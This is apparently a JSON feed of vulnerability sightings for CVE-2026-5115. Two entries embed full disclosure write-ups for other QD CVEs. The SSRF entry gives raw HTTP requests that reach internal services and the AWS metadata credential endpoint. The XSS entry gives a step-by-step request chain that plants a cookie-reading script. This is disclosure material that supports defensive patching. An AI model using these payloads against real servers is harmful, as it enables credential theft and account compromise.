{"vulnerability": "cve-2026-5115", "sightings": [{"uuid": "74b23214-569b-4f9e-9791-f715c642c19b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-5115", "type": "seen", "source": "https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2026-5115", "content": "", "creation_timestamp": "2026-03-30T23:16:36.000000Z"}, {"uuid": "0a550680-6ec7-48b1-8ed8-88033471d3ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5115", "type": "seen", "source": "https://bsky.app/profile/o2cloud.bsky.social/post/3miegept3tk2h", "content": "", "creation_timestamp": "2026-03-31T14:50:08.873993Z"}, {"uuid": "8c9ca0c7-5b8b-4915-93ef-1e5c0f0ee724", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-5115", "type": "seen", "source": "https://www.cert.ssi.gouv.fr/avis/CERTFR-2026-AVI-0377/", "content": "", "creation_timestamp": "2026-03-30T17:00:00.000000Z"}, {"uuid": "fc4bc119-a4b4-4530-8a30-b80daa35475f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5115", "type": "published-proof-of-concept", "source": "Telegram/l2CWtN20f6D8WOiAClhqJgrdc6BQljDZCBDw2ZgpHM67Hss", "content": "", "creation_timestamp": "2026-04-03T19:24:00.000000Z"}, {"uuid": "444bfb17-d11c-4dad-87fc-721fd30ac075", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51152", "type": "seen", "source": "https://gist.github.com/kurokoleung/98e950e3e05205fc57d2029ad68a702e", "content": "[CVE ID]\nCVE-2026-51152\n\n[PRODUCT]\nQD-20250803\n\n[VERSION]\nfrom QD-20220208 to QD-20250803\n\n[PROBLEM TYPE]\nServer-side request forgery (SSRF)\n\n[DESCRIPTION]\nQD provides a HAR test endpoint (/har/test) that allows an attacker to control the target URL of an outbound HTTP request made by the server. The Fetcher.build_request() method in libs/fetcher.py constructs an httpclient.HTTPRequest from user-supplied JSON without validating the URL scheme, host, or IP address range. The /har/test handler (web/handlers/har.py) does not require authentication (@authenticated is absent), enabling unauthenticated remote attackers to force the QD server to send arbitrary HTTP requests to internal network resources (127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16), cloud metadata endpoints, or other internal services reachable from the server. The validate_cert flag is also set to False, disabling TLS certificate verification for HTTPS targets.\n\n[PROOF OF CONCEPT]\n\n=== 1. Basic SSRF \u2014 probe internal Redis service ===\n\nPOST /har/test HTTP/1.1\nHost: :8923\nContent-Type: application/json\nContent-Length: 373\n\n{\n  \"request\": {\n    \"method\": \"GET\",\n    \"url\": \"http://127.0.0.1:6379/\",\n    \"headers\": [{\"name\": \"User-Agent\", \"value\": \"qd-ssrf-test\"}],\n    \"cookies\": []\n  },\n  \"rule\": {\n    \"success_asserts\": [],\n    \"failed_asserts\": [],\n    \"extract_variables\": []\n  },\n  \"env\": {\n    \"variables\": {},\n    \"session\": []\n  }\n}\n\n=== 2. Cloud metadata SSRF \u2014 AWS/Meta credential exfiltration ===\n\nPOST /har/test HTTP/1.1\nHost: :8923\nContent-Type: application/json\nContent-Length: 385\n\n{\n  \"request\": {\n    \"method\": \"GET\",\n    \"url\": \"http://169.254.169.254/latest/meta-data/iam/security-credentials/admin\",\n    \"headers\": [{\"name\": \"User-Agent\", \"value\": \"qd-ssrf-test\"}],\n    \"cookies\": []\n  },\n  \"rule\": {\n    \"success_asserts\": [],\n    \"failed_asserts\": [],\n    \"extract_variables\": []\n  },\n  \"env\": {\n    \"variables\": {},\n    \"session\": []\n  }\n}\n\n=== 3. Internal network reconnaissance ===\n\nPOST /har/test HTTP/1.1\nHost: :8923\nContent-Type: application/json\nContent-Length: 382\n\n{\n  \"request\": {\n    \"method\": \"GET\",\n    \"url\": \"http://192.168.1.1/admin/status\",\n    \"headers\": [{\"name\": \"User-Agent\", \"value\": \"qd-ssrf-test\"}],\n    \"cookies\": []\n  },\n  \"rule\": {\n    \"success_asserts\": [],\n    \"failed_asserts\": [],\n    \"extract_variables\": []\n  },\n  \"env\": {\n    \"variables\": {},\n    \"session\": []\n  }\n}\n\n[REFERENCE]\nhttps://qd-today.github.io/qd/\nhttps://github.com/qd-today/qd/releases/tag/20250803", "creation_timestamp": "2026-07-28T08:47:39.178526Z"}, {"uuid": "4b0dcf35-5e7e-434b-bca9-1076c6204e17", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51153", "type": "seen", "source": "https://gist.github.com/kurokoleung/9fc51b02c85c2f466bf4ea72c62ba343", "content": "[CVE ID]\nCVE-2026-51153\n\n[PRODUCT]\nQD-20250803\n\n[VERSION]\nfrom QD-20220208 to QD-20250803\n\n[PROBLEM TYPE]\nCross Site Scripting (XSS) \u2014 Stored\n\n[DESCRIPTION]\nA stored cross-site scripting vulnerability exists in TaskRunHandler.post() at web/handlers/task.py. When a task is run via /task//run, the handler renders the task log content (logtmp) into the HTML response using Python % string formatting without any HTML encoding. The logtmp value is populated either from the exception object's string representation or from new_env[\"variables\"].get(\"__log__\"), which is attacker-controlled through the template's extract_variables mechanism. A low-privileged authenticated attacker can create a crafted HAR template that extracts arbitrary HTML/JavaScript into the __log__ variable via the api://util/unicode endpoint (which returns decoded input without sanitization). When the victim (or another user) triggers the task run, the embedded script executes in the victim's browser within the QD application context.\n\n[PROOF OF CONCEPT]\n\nThe following sequence requires 4 dynamic values extracted in order:\n- {{_xsrf}}: obtained from GET /register response\n- {{user_cookie}}: cookie returned after registration\n- {{tplid}}: JSON {\"id\": ...} returned by POST /har/save\n- {{taskid}}: extracted from /my/ page after POST /task/new redirect\n\n=== Step 1: Obtain XSRF token ===\n\nGET /register HTTP/1.1\nHost: :8923\n\n=== Step 2: Register a low-privileged user ===\n\nPOST /register HTTP/1.1\nHost: :8923\nContent-Type: application/x-www-form-urlencoded\nX-Xsrftoken: {{_xsrf}}\nCookie: _xsrf={{_xsrf}}\nReferer: http://:8923/register\n\nemail=xssrepro@example.com&amp;password=P@ssw0rd!\n\n=== Step 3: Save malicious template with XSS payload ===\n\nPOST /har/save HTTP/1.1\nHost: :8923\nContent-Type: application/json\nX-Xsrftoken: {{_xsrf}}\nCookie: _xsrf={{_xsrf}}; user={{user_cookie}}\nReferer: http://:8923/har/edit\n\n{\n  \"har\": {\n    \"log\": {\n      \"creator\": {\"name\": \"manual\", \"version\": \"1\"},\n      \"entries\": [{\n        \"comment\": \"xss-poc\",\n        \"checked\": true,\n        \"startedDateTime\": \"2026-04-16T00:00:00Z\",\n        \"time\": 1,\n        \"request\": {\n          \"method\": \"GET\",\n          \"url\": \"api://util/unicode?content=%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E\",\n          \"headers\": [],\n          \"queryString\": [],\n          \"cookies\": [],\n          \"headersSize\": -1,\n          \"bodySize\": 0,\n          \"postData\": {}\n        },\n        \"response\": {},\n        \"cache\": {},\n        \"timings\": {},\n        \"connections\": \"0\",\n        \"pageref\": \"page_0\",\n        \"success_asserts\": [],\n        \"failed_asserts\": [],\n        \"extract_variables\": [{\n          \"name\": \"__log__\",\n          \"re\": \"\\\"\u8f6c\u6362\u540e\\\": \\\"([^\\\"]+)\\\"\",\n          \"from\": \"content\"\n        }]\n      }],\n      \"pages\": [],\n      \"version\": \"1.2\"\n    }\n  },\n  \"tpl\": [{\n    \"comment\": \"xss-poc\",\n    \"request\": {\n      \"method\": \"GET\",\n      \"url\": \"api://util/unicode?content=%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E\",\n      \"headers\": [],\n      \"cookies\": [],\n      \"data\": \"\",\n      \"mimeType\": \"\"\n    },\n    \"rule\": {\n      \"success_asserts\": [],\n      \"failed_asserts\": [],\n      \"extract_variables\": [{\n        \"name\": \"__log__\",\n        \"re\": \"\\\"\u8f6c\u6362\u540e\\\": \\\"([^\\\"]+)\\\"\",\n        \"from\": \"content\"\n      }]\n    }\n  }],\n  \"setting\": {\n    \"sitename\": \"xss-poc\",\n    \"siteurl\": \"http://:8923\",\n    \"note\": \"xss repro\",\n    \"interval\": \"\"\n  }\n}\n\nThe URL parameter content=%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E is the URL-encoded form of alert(document.cookie). The api://util/unicode endpoint decodes and returns it verbatim in the response field \"\u8f6c\u6362\u540e\": \"alert(document.cookie)\" without sanitization.\n\n=== Step 4: Create a task from the malicious template ===\n\nPOST /task/new HTTP/1.1\nHost: :8923\nContent-Type: application/x-www-form-urlencoded\nX-Xsrftoken: {{_xsrf}}\nCookie: _xsrf={{_xsrf}}; user={{user_cookie}}\nReferer: http://:8923/task/new\n\n_binux_tplid={{tplid}}&amp;_binux_tested=true&amp;_binux_note=xss-task&amp;_binux_proxy=&amp;_binux_retry_count=&amp;_binux_retry_interval=\n\n=== Step 5: Trigger the stored XSS ===\n\nPOST /task/{{taskid}}/run HTTP/1.1\nHost: :8923\nX-Xsrftoken: {{_xsrf}}\nCookie: _xsrf={{_xsrf}}; user={{user_cookie}}\nReferer: http://:8923/my/\n\nThe response contains the unescaped payload directly:\n\n\n\u8fd0\u884c\u6210\u529f\n\n\n\n2026-07-28 12:00:00 \\r\\n\u65e5\u5fd7\uff1aalert(document.cookie)\n\u590d\u5236\n\n\n[REFERENCE]\nhttp://qd-today.com\nhttps://github.com/qd-today/qd/releases/tag/20250803", "creation_timestamp": "2026-07-28T08:50:13.541440Z"}]}